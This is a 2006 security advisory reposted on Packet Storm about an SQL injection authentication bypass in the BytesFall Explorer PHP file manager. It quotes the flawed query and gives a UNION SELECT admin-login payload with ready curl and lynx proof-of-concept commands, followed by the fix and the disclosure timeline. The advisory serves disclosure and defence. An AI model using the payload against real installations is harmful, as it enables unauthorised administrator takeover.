exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

BytesFall-exp.txt

BytesFall-exp.txt
Posted Nov 1, 2006
Authored by RedTeam Pentesting | Site redteam-pentesting.de

BytesFall Explorer suffers from an input sanitization vulnerability in login/doLogin.php which can lead to SQL injection. POC included that resets the admin password.

tags | exploit, php, sql injection
SHA-256 | 1b3384295cc40582dd6514cbe63d27f8bf11a96926f807aa15b400b9c9371222

BytesFall-exp.txt

Change Mirror Download
Advisory: Authentication bypass in BytesFall Explorer

A malicious user can bypass authentication and take over the role of the
administrator of BytesFall Explorer by using an SQL injection. Several other
SQL injections are possible.


Details
=======

Product: BytesFall Explorer
Affected Versions: <= 0.0.7.1
Fixed Versions: 0.0.7.2
Vulnerability Type: SQL injection
Security-Risk: medium
Vendor-URL: http://bfexplorer.sourceforge.net
Vendor-Status: informed, fixed version released
Advisory-URL: http://www.redteam-pentesting.de/advisories/rt-sa-2006-007.txt
Advisory-Status: private
CVE: CVE-2006-nnnn
CVE-URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-nnnn


Introduction
============

BytesFall Explorer is a web-based file manager programmed in PHP and
JavaScript
and licensed under the GNU GPL. It allows to upload, download, view, edit,
copy, move/rename and change permissions of a single file/directory or a group
of files/directories.


More Details
============

Because of missing user input sanitizations a malicious user can modify an SQL
query in login/doLogin.php, line 13:

13 $User = bfRecord(sprintf("SELECT * FROM %susers WHERE username='%s';",
$tables_preffix, $username));

By using the username

' union select
1,'','','admin',$1$ol0uK1m4$gDzEIJEpe5Tj7G/f9Jite/,1,'','','','' from
bfe_users where ''='

and password 'redteam' a user can login and take over the role of the
administrator of BytesFall Explorer.

Many other SQL injections in other files exist that can be exploited.


Proof of Concept
================

Using curl:

curl -i http://www.example.com/bfExplorer/login/doLogin.php --data-binary
"username=' union select
1,'','','admin','\$1\$0NLmbQHB\$jHKubCw0LcN82fIVr6o7V0',1,'','','','' from
bfe_users where ''='&Login=Login&password=redteam"

or lynx:

printf "username=' union select
1,'','','admin','\$1\$0NLmbQHB\$jHKubCw0LcN82fIVr6o7V0',1,'','','','' from
bfe_users where ''='&Login=Login&password=redteam\n---" | lynx --post_data
http://www.example.com/bfExplorer/login/doLogin.php


Workaround
==========

Use PHP Magic Quotes.


Fix
===

Use PHP's mysql_escape_string() to sanitize variables containing user
input before using them in MySQL queries. A fixed version 0.0.7.2 of BytesFall
Explorer is available.

Security Risk
=============

RedTeam considers the security risc medium. BytesFall Explorer can be
compromised totally when PHP Magic Quotes are not enabled. Though Magic Quotes
do not represent real security, they are a workaround for these problems.


History
=======

2006-10-06 Discovery of the vulnerabilities
2006-10-06 Vendor is informed
2006-10-06 Vendor releases fixed version


References
==========

http://bfexplorer.sourceforge.net


RedTeam
=======

RedTeam Pentesting is offering individual penetration tests, short
pentests, performed by a team of specialised IT-security experts.
Hereby, security weaknesses in company networks are uncovered and can be
fixed immediately.

As there are only few experts in this field, RedTeam wants to share its
knowledge and enhance the public knowledge with research in security
related areas. The results are made available as public security
advisories.

More information about RedTeam can be found at
http://www.redteam-pentesting.de.

--
RedTeam Pentesting Tel.: +49-241-963 1300
Dennewartstr. 25-27 Fax : +49-241-963 1304
52068 Aachen http://www.redteam-pentesting.de
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close